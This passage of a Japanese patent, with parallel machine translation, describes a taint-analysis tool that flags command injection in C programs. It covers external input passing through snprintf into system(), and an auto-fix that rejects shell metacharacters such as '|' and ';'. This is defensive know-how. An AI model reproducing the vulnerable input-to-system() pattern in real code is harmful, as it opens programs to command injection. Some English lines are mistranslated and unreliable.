この定義は、snprintf関数において第1引数の属性が第4引数の属性を引き継ぐことを意味している。つまり、第4引数が汚染であれば、第1引数も汚染となり、第4引数が非汚染であれば、第1引数も非汚染となる。   This definition means that the attribute of the first argument takes over the attribute of the fourth argument in the snprintf function. That is, if the fourth argument is tainted, the first argument is also tainted, and if the 4th argument is uncontaminated, the first argument is also uncontaminated.

同様にsystem関数について、以下のように予め定義しておく。   Similarly, the system function is defined in advance as follows.

system:alert_if param_1=taint   system: alert_if param — 1 = taint

この定義は、system関数において第1引数が汚染である場合に警告メッセージを生成することを意味している。すなわち、この関数は、第1引数が汚染である場合に異常な挙動を示す恐れがあり、脆弱性を有することを表す。   This definition means that a warning message is generated when the first argument is tainted in the system function. That is, this function has a possibility of exhibiting an abnormal behavior when the first argument is contamination, indicating that it has a vulnerability.

また、処理S31は、変数の属性がチェック済みか否かのチェックを行う。例えば、対象となる変数を引数としてisalnum()等のチェック関数をコールすると、対象となる変数の属性はチェック済みとなる。また、対象となる変数が比較演算子を含む条件式に用いられると、対象となる変数の属性はチェック済みとなる。   In step S31, it is checked whether or not the variable attribute has been checked. For example, when a check function such as isalnum () is called with the target variable as an argument, the attribute of the target variable is checked. If the target variable is used in a conditional expression including a comparison operator, the attribute of the target variable is checked.

また、処理S44は、脆弱性に関する警告メッセージを生成し、画面やファイル等に出力する。図7は、本発明に係る警告メッセージの一例を示す図である。警告メッセージとしてまず、検出番号、関数名、引数位置が出力される。関数名、危険度、脅威、解説、等の脆弱性に関する説明は、予め判定ルール中に定義され、検出された脆弱性のIDに対応づけられている。汚染されたデータの設定箇所は、変数テーブルに格納されており、設定した関数名、ファイル名、行番号等が出力される。脆弱ライブラリの使用箇所は、フロー追跡の現在位置から得られ、使用した関数名、ファイル名、行番号等が出力される。   In step S44, a warning message about the vulnerability is generated and output to a screen, a file, or the like. FIG. 7 is a diagram showing an example of a warning message according to the present invention. First, the detection number, function name, and argument position are output as a warning message. Descriptions about vulnerabilities such as function names, risk levels, threats, explanations, and the like are defined in advance in the determination rules and are associated with the detected vulnerability IDs. The setting location of the contaminated data is stored in the variable table, and the set function name, file name, line number, etc. are output. The use location of the vulnerable library is obtained from the current position of the flow tracking, and the used function name, file name, line number, etc. are output.

次に、本発明に係る脆弱性監査装置が、脆弱なプログラムの脆弱性監査を行う場合と、安全なプログラムの脆弱性監査を行う場合について、動作の具体例を説明する。   Next, a specific example of the operation will be described for the case where the vulnerability audit apparatus according to the present invention performs vulnerability audit of a vulnerable program and when the vulnerability audit of a safe program is performed.

まず、脆弱性監査装置が、脆弱なプログラム“test1.c”の脆弱性監査を行う場合について説明する。   First, a case where the vulnerability audit apparatus performs a vulnerability audit of the vulnerable program “test1.c” will be described.

まず、脆弱性監査装置は、10行目でfgets関数が使用されていることから、変数file_nameに外部から値が入力され、変数file_nameの属性が汚染である可能性がある、と判断する。   First, since the fgets function is used in the 10th line, the vulnerability inspection apparatus determines that there is a possibility that an external value is input to the variable file_name and the attribute of the variable file_name may be contaminated.

次に、脆弱性監査装置は、13行目でsnprintf関数が使用されていることから、変数ls_commandに変数file_nameの属性が引き継がれ、変数ls_commandの属性が汚染である可能性がある、と判断する。   Next, since the snprintf function is used in the 13th line, the vulnerability inspection apparatus determines that the attribute of the variable file_name is succeeded to the variable ls_command and the attribute of the variable ls_command may be contaminated. .

次に、脆弱性監査装置は、14行目でsystem関数の引数として変数ls_commandが使用されていることから、system関数が汚染変数を処理しており、脆弱性を発生する可能性がある、と判断する。次に、脆弱性監査装置は、検出した脆弱性について警告メッセージを出力する。   Next, since the variable ls_command is used as an argument of the system function in the 14th line, the vulnerability inspection apparatus processes the tainted variable and may generate a vulnerability. to decide. Next, the vulnerability audit apparatus outputs a warning message for the detected vulnerability.

次に、脆弱性監査装置が、安全なプログラム“test2.c”の脆弱性監査を行う場合について説明する。   Next, a case where the vulnerability audit apparatus performs a vulnerability audit of the safe program “test2.c” will be described.

まず、脆弱性監査装置は、10行目でfgets関数が使用されていることから、変数file_nameに外部から値が入力され、変数file_nameの属性が汚染である、と判断する。   First, since the fgets function is used in the 10th line, the vulnerability inspection apparatus determines that the value of the variable file_name is input from the outside and the attribute of the variable file_name is tainted.

次に、脆弱性監査装置は、13行目で関数Check_file_nameにより変数file_nameが値をチェックされており、変数file_nameの属性がチェック済みである、と判断する。   Next, the vulnerability inspection apparatus determines that the value of the variable file_name is checked by the function Check_file_name on the 13th line, and the attribute of the variable file_name has been checked.

次に、脆弱性監査装置は、18行目でsnprintf関数が使用されていることから、変数ls_commandに変数file_nameの属性が引き継がれ、変数ls_commandの属性がチェック済みである、と判断する。   Next, since the snprintf function is used in the 18th line, the vulnerability inspection apparatus determines that the attribute of the variable file_name is succeeded to the variable ls_command and the attribute of the variable ls_command has been checked.

次に、脆弱性監査装置は、19行目でsystem関数の引数として変数ls_commandが使用されていることから、system関数がチェック済みの属性を持つ変数を処理しており、脆弱性を発生する可能性がない、と判断する。   Next, since the variable ls_command is used as an argument of the system function in the 19th line, the vulnerability inspection apparatus processes a variable having a checked attribute, and the vulnerability may occur. Judge that there is no sex.

なお、本実施の形態においては、1つの変数に対して検出された警告メッセージを1つずつ出力していたが、同一の変数に対する複数の警告メッセージをマージしても良い。プログラムにおいてif文等により処理が分岐しており、分岐先で同じ変数に対して異なる処理が施される場合がよくある。このような場合において、例えば、片方の分岐先では危険度の高い脆弱性が検出され、もう片方の分岐先では危険度の低い脆弱性が検出されることがある。このとき、両者を別の警告メッセージとして出力することはユーザにとって冗長であり、両者をマージした警告メッセージとして出力する方が望ましいことが多い。警告メッセージのマージの具体的な方法としては、複数の警告メッセージの中で最も危険度の高い警告メッセージのみを残し、他の警告メッセージを捨てる方法がある。   In this embodiment, warning messages detected for one variable are output one by one, but a plurality of warning messages for the same variable may be merged. In a program, processing is branched by an if statement or the like, and different processing is often applied to the same variable at the branch destination. In such a case, for example, a high-risk vulnerability may be detected at one branch destination, and a low-risk vulnerability may be detected at the other branch destination. At this time, it is redundant for the user to output both as separate warning messages, and it is often desirable to output both as a warning message merged. As a specific method of merging warning messages, there is a method of leaving only the warning message with the highest degree of danger among a plurality of warning messages and discarding other warning messages.

また、本実施の形態においては、ソースコードを処理することにより脆弱性監査を行うが、中間言語ファイルを処理することにより脆弱性監査を行ってもよい。C言語のプログラムにおいては、人間にとって可読性のあるソースコードをコンパイルすることにより、コンピュータが実行可能な機械語に翻訳される。コンパイラは、この翻訳の過程で中間的なファイルである中間言語ファイルを生成しており、これをディスクに出力することもできる。中間言語ファイルは、ソースコードを単位毎にノードの形で表したものであり、人間にとってソースコードのような可読性はないが、機械語ほど解読が困難なものではない。図8は、中間言語ファイルの一例を示す図である。このような中間言語ファイルを読み込んだ場合、脆弱性監査装置は木構造のデータフローを生成することができる。データの形式は異なるが、ソースコードと同様にして脆弱性監査の処理を行うことができる。   In this embodiment, vulnerability audit is performed by processing source code, but vulnerability audit may be performed by processing intermediate language files. In a C language program, a human-readable source code is compiled into a machine language that can be executed by a computer. The compiler generates an intermediate language file, which is an intermediate file, during the translation process, and can output it to a disk. The intermediate language file is a representation of the source code in the form of a node for each unit, and it is not as human-readable as the source code, but it is not as difficult to decipher as a machine language. FIG. 8 is a diagram illustrating an example of the intermediate language file. When such an intermediate language file is read, the vulnerability inspection apparatus can generate a tree-structured data flow. Although the data format is different, vulnerability audit processing can be performed in the same way as the source code.

また、本実施の形態においては、脆弱性監査装置が警告メッセージを出力することにより、ユーザが警告メッセージに従ってプログラムの修正を行うことを目的としたが、警告メッセージにプログラム修正方法を含めても良いし、新たに備える修正出力部がプログラム修正方法に従って自動的にプログラムを修正しても良い。図9は、本発明に係る脆弱性監査装置の構成の別の一例を示すブロック図である。図9において、図4と同一符号は図4に示された対象と同一又は相当物を示しており、ここでの説明を省略する。また、図4と比較すると図9の装置は、警告出力部41の代わりに修正出力部51を備えることにより、自動的にプログラムを修正する。   In this embodiment, the vulnerability audit apparatus outputs a warning message so that the user can correct the program according to the warning message. However, the warning message may include a program correction method. Then, the newly provided correction output unit may automatically correct the program according to the program correction method. FIG. 9 is a block diagram showing another example of the configuration of the vulnerability inspection apparatus according to the present invention. 9, the same reference numerals as those in FIG. 4 denote the same or corresponding parts as those in FIG. 4, and a description thereof will be omitted here. Compared with FIG. 4, the apparatus of FIG. 9 includes a correction output unit 51 instead of the warning output unit 41 to automatically correct the program.

このようにプログラム修正方法を得る場合、判定ルールにおいて、更に脆弱性に対するプログラム修正方法を予め定義しておく。例えば、まず、system関数の判定ルールにおいてフィールドを1つ追加し、以下のようなプログラム修正方法の種類を記述する。   When the program correction method is obtained in this way, a program correction method for vulnerability is further defined in advance in the determination rule. For example, first, one field is added in the determination rule of the system function, and the following types of program correction methods are described.

system:alert_if param1=taint,correct=method3   system: alert_if param1 = taint, correct = method3

更に、判定ルールにおいてプログラム修正方法method3の内容を予め定義しておく。図10は、本発明に係るプログラム修正方法の内容の一例を示すソースコードである。このプログラム修正方法method3は、system関数を使用する直前に、その引数として使用される文字列変数をチェックするロジックを挿入するものである。このロジックは文字列変数において、‘|’や‘;’等、シェルに引き渡されると危険である文字が含まれているか否かをチェックするものである。ここで、Invalid_String_Error(x)は、別の箇所で定義される関数であり、エラーを出力してプログラムを終了させるものである。   Further, the contents of the program correction method method3 are defined in advance in the determination rule. FIG. 10 is a source code showing an example of the content of the program correction method according to the present invention. This program correction method method3 inserts logic for checking a character string variable used as an argument immediately before using the system function. This logic checks whether or not a character string variable includes a character that is dangerous when delivered to the shell, such as ‘|’ and ‘;’. Here, Invalid_String_Error (x) is a function defined elsewhere, and outputs an error and terminates the program.

また、本実施の形態においては、C言語を対象としたが、他のプログラム言語についても適用可能である。   In this embodiment, the C language is targeted, but the present invention can also be applied to other program languages.

更に、脆弱性監査装置を構成するコンピュータに上述した各ステップを実行させるプログラムを、脆弱性監査プログラムとして提供することができる。上述したプログラムは、コンピュータにより読取り可能な記録媒体に記憶させることによって、脆弱性監査装置を構成するコンピュータに実行させることが可能となる。ここで、上記コンピュータにより読取り可能な記録媒体としては、CD−ROMやフレキシブルディスク、DVDディスク、光磁気ディスク、ICカード等の可搬型記憶媒体や、コンピュータプログラムを保持するデータベース、或いは、他のコンピュータ並びにそのデータベースや、更に回線上の伝送媒体をも含むものである。   Furthermore, a program that causes a computer constituting the vulnerability inspection apparatus to execute the above steps can be provided as a vulnerability inspection program. By storing the above-described program in a computer-readable recording medium, the computer constituting the vulnerability audit apparatus can be executed. Here, as the recording medium readable by the computer, a portable storage medium such as a CD-ROM, a flexible disk, a DVD disk, a magneto-optical disk, an IC card, a database holding a computer program, or another computer In addition, the database and the transmission medium on the line are also included.

本発明によれば、脆弱なライブラリが適切に用いられていない箇所のみを検出することにより、脆弱なライブラリを全て検出する従来の方法に比べ、脆弱性検出の精度が大幅に向上する。   According to the present invention, by detecting only portions where a vulnerable library is not properly used, the accuracy of vulnerability detection is greatly improved as compared to the conventional method of detecting all vulnerable libraries.

11 プログラム入力部、21 変数管理部、22 判定ルール管理部、31 処理フロー追跡部、32 脆弱性判定部、41 警告メッセージ出力部、51 修正出力部。   DESCRIPTION OF SYMBOLS 11 Program input part, 21 Variable management part, 22 Judgment rule management part, 31 Process flow tracking part, 32 Vulnerability judgment part, 41 Warning message output part, 51 Correction output part

Claims (5)

被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、
脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、
前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、
前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、
前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数として、変数の値に必要十分な範囲以外の値が含まれていないかをチェックするためのチェック関数をコールしているか否か、または前記追跡された変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、
前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、
をコンピュータに実行させるための脆弱性監査プログラム。
A vulnerability audit program for causing a computer to execute a vulnerability audit method for detecting a vulnerability of an audited program,
A determination rule relating to a vulnerability, wherein the determination is made from a storage unit storing a determination rule in which a function name and a position of an argument that is an argument of the function and an invalid value can be set are stored in advance A decision rule input step for reading a rule;
A program input step for reading the audited program and performing syntax analysis;
In the audited program that has undergone the parsing, a process flow tracking step of extracting a variable whose value is input from the outside and tracking it along the process flow;
In the audited program, when the tracked variable is used at the position of the function defined in the determination rule and the argument of the function, the necessary and sufficient range for the value of the variable using the variable as an argument Vulnerability to determine whether or not a check function is called to check whether any other value is included, or whether or not the tracked variable is used in a conditional expression containing a comparison operator A determination step;
A warning output step of generating a warning message and outputting it to a screen or a file if the determination by the vulnerability determination step is negative;
Vulnerability audit program to make computer execute.
請求項1に記載の脆弱性監査プログラムにおいて、
前記判定ルールは、ライブラリ関数における脆弱な引数の定義を含むことを特徴とする脆弱性監査プログラム。
In the vulnerability audit program according to claim 1,
The vulnerability inspection program, wherein the determination rule includes a definition of a vulnerable argument in a library function.
請求項1に記載の脆弱性監査プログラムにおいて、
前記変数管理ステップにより管理される変数は、前記値が外部から入力される変数と、前記値が外部から入力される変数が関数等で処理された結果の変数を含むことを特徴とする脆弱性監査プログラム。
In the vulnerability audit program according to claim 1,
The variable managed by the variable management step includes a variable in which the value is input from the outside, and a variable obtained as a result of processing the variable in which the value is input from the outside by a function or the like Audit program.
被監査プログラムの脆弱性を検出する脆弱性監査装置であって、
脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、
前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、
前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、
前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数として、変数の値に必要十分な範囲以外の値が含まれていないかをチェックするためのチェック関数をコールしているか否か、または前記追跡された変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、
前記脆弱性判定部による判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力部と、
を有する脆弱性監査装置。
A vulnerability audit device that detects vulnerabilities in an audited program,
A determination rule relating to a vulnerability, wherein the determination is made from a storage unit storing a determination rule in which a function name and a position of an argument that is an argument of the function and an invalid value can be set are stored in advance A decision rule input section for reading the rules;
A program input unit that reads and parses the audited program;
In the audited program that has been subjected to the syntax analysis, a process flow tracking unit that extracts variables whose values are input from the outside and tracks them along the process flow;
In the audited program, when the tracked variable is used at the position of the function defined in the determination rule and the argument of the function, the necessary and sufficient range for the value of the variable using the variable as an argument Vulnerability to determine whether or not a check function is called to check whether any other value is included, or whether or not the tracked variable is used in a conditional expression containing a comparison operator A determination unit;
A warning output unit that generates a warning message and outputs it to a screen or a file if the determination by the vulnerability determination unit is negative;
Vulnerability inspection device.
脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、
前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、
前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、
前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数として、変数の値に必要十分な範囲以外の値が含まれていないかをチェックするためのチェック関数をコールしているか否か、または前記追跡された変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、
前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、
をコンピュータが実行する脆弱性監査方法。
A determination rule relating to a vulnerability, wherein the determination is made from a storage unit storing a determination rule in which a function name and a position of an argument that is an argument of the function and an invalid value can be set are stored in advance A decision rule input step for reading a rule;
A program input step for reading the audited program and performing syntax analysis;
In the audited program that has undergone the parsing, a process flow tracking step of extracting a variable whose value is input from the outside and tracking it along the process flow;
In the audited program, when the tracked variable is used at the position of the function defined in the determination rule and the argument of the function, the necessary and sufficient range for the value of the variable using the variable as an argument Vulnerability to determine whether or not a check function is called to check whether any other value is included, or whether or not the tracked variable is used in a conditional expression containing a comparison operator A determination step;
A warning output step of generating a warning message and outputting it to a screen or a file if the determination by the vulnerability determination step is negative;
Vulnerability audit method that the computer executes.
JP2011048514A 2011-03-07 2011-03-07 Vulnerability audit program, vulnerability audit device, vulnerability audit method Expired - Fee Related JP5077455B2 (en)

Priority Applications (1)

Application Number Priority Date Filing Date Title
JP2011048514A JP5077455B2 (en) 2011-03-07 2011-03-07 Vulnerability audit program, vulnerability audit device, vulnerability audit method

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
JP2011048514A JP5077455B2 (en) 2011-03-07 2011-03-07 Vulnerability audit program, vulnerability audit device, vulnerability audit method

Related Parent Applications (1)

Application Number Title Priority Date Filing Date
JP2007503520A Division JPWO2006087780A1 (en) 2005-02-17 2005-02-17 Vulnerability audit program, vulnerability audit device, vulnerability audit method

Publications (2)

Publication Number Publication Date
JP2011150716A JP2011150716A (en) 2011-08-04
JP5077455B2 true JP5077455B2 (en) 2012-11-21

Family

ID=44537582

Family Applications (1)

Application Number Title Priority Date Filing Date
JP2011048514A Expired - Fee Related JP5077455B2 (en) 2011-03-07 2011-03-07 Vulnerability audit program, vulnerability audit device, vulnerability audit method

Country Status (1)

Country Link
JP (1) JP5077455B2 (en)

Families Citing this family (5)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
JP5845888B2 (en) * 2011-12-26 2016-01-20 日本電気株式会社 Software correction apparatus, software correction system, software correction method, and software correction program
EP2881877A4 (en) * 2012-08-01 2016-08-03 Mitsubishi Electric Corp Program execution device and program analysis device
WO2018092237A1 (en) 2016-11-17 2018-05-24 三菱電機株式会社 Program code generation apparatus, program code generation method, and program code generation program
JP2020531936A (en) * 2017-06-29 2020-11-05 Line株式会社 How and systems to detect application vulnerabilities
KR102070010B1 (en) * 2019-02-28 2020-01-29 한국인터넷진흥원 Binary fatching apparatus and method thereof for supplementing vulnerabilties casued from using vulnerable functions

Family Cites Families (1)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US7240332B2 (en) * 2003-04-18 2007-07-03 Ounce Labs, Inc. Method and system for detecting vulnerabilities in source code

Also Published As

Publication number Publication date
JP2011150716A (en) 2011-08-04

Similar Documents

Publication Publication Date Title
JPWO2006087780A1 (en) Vulnerability audit program, vulnerability audit device, vulnerability audit method
US9715593B2 (en) Software vulnerabilities detection system and methods
Yang et al. Appspear: Bytecode decrypting and dex reassembling for packed android malware
US8635602B2 (en) Verification of information-flow downgraders
Balzarotti et al. Saner: Composing static and dynamic analysis to validate sanitization in web applications
Yu et al. Patching vulnerabilities with sanitization synthesis
Carmony et al. Extract Me If You Can: Abusing PDF Parsers in Malware Detectors.
US8850405B2 (en) Generating sound and minimal security reports based on static analysis of a program
US8572747B2 (en) Policy-driven detection and verification of methods such as sanitizers and validators
US10068093B2 (en) Machine-checkable code-annotations for static application security testing
Backes et al. R-droid: Leveraging android app analysis with static slice optimization
JP5077455B2 (en) Vulnerability audit program, vulnerability audit device, vulnerability audit method
Shahmehri et al. An advanced approach for modeling and detecting software vulnerabilities
US20190361788A1 (en) Interactive analysis of a security specification
Zhao et al. Automatic detection of information leakage vulnerabilities in browser extensions
US20210004470A1 (en) Automatic Generation Of Patches For Security Violations
Jimenez et al. Software vulnerabilities, prevention and detection methods: A review1
Aloraini et al. Evaluating state-of-the-art free and open source static analysis tools against buffer errors in android apps
Hoole et al. Improving vulnerability detection measurement: [test suites and software security assurance]
CN111027073B (en) Vulnerability detection method, device, equipment and storage medium
JP7008879B2 (en) Information processing equipment, information processing methods and information processing programs
Lin et al. Detecting {API}{Post-Handling} Bugs Using Code and Description in Patches
Alalfi An automated approach for privacy leakage identification in iot apps
KR20240066072A (en) Method and system for static analysis of program
Rodes et al. Speculative software modification and its use in securing SOUP

Legal Events

Date Code Title Description
A621 Written request for application examination

Free format text: JAPANESE INTERMEDIATE CODE: A621

Effective date: 20110307

A131 Notification of reasons for refusal

Free format text: JAPANESE INTERMEDIATE CODE: A131

Effective date: 20110726

A02 Decision of refusal

Free format text: JAPANESE INTERMEDIATE CODE: A02

Effective date: 20111018

A521 Request for written amendment filed

Free format text: JAPANESE INTERMEDIATE CODE: A523

Effective date: 20120118

A911 Transfer to examiner for re-examination before appeal (zenchi)

Free format text: JAPANESE INTERMEDIATE CODE: A911

Effective date: 20120124

A131 Notification of reasons for refusal

Free format text: JAPANESE INTERMEDIATE CODE: A131

Effective date: 20120403

A521 Request for written amendment filed

Free format text: JAPANESE INTERMEDIATE CODE: A523

Effective date: 20120604

TRDD Decision of grant or rejection written
A01 Written decision to grant a patent or to grant a registration (utility model)

Free format text: JAPANESE INTERMEDIATE CODE: A01

Effective date: 20120731

A01 Written decision to grant a patent or to grant a registration (utility model)

Free format text: JAPANESE INTERMEDIATE CODE: A01

A61 First payment of annual fees (during grant procedure)

Free format text: JAPANESE INTERMEDIATE CODE: A61

Effective date: 20120813

FPAY Renewal fee payment (event date is renewal date of database)

Free format text: PAYMENT UNTIL: 20150907

Year of fee payment: 3

R150 Certificate of patent or registration of utility model

Free format text: JAPANESE INTERMEDIATE CODE: R150

LAPS Cancellation because of no payment of annual fees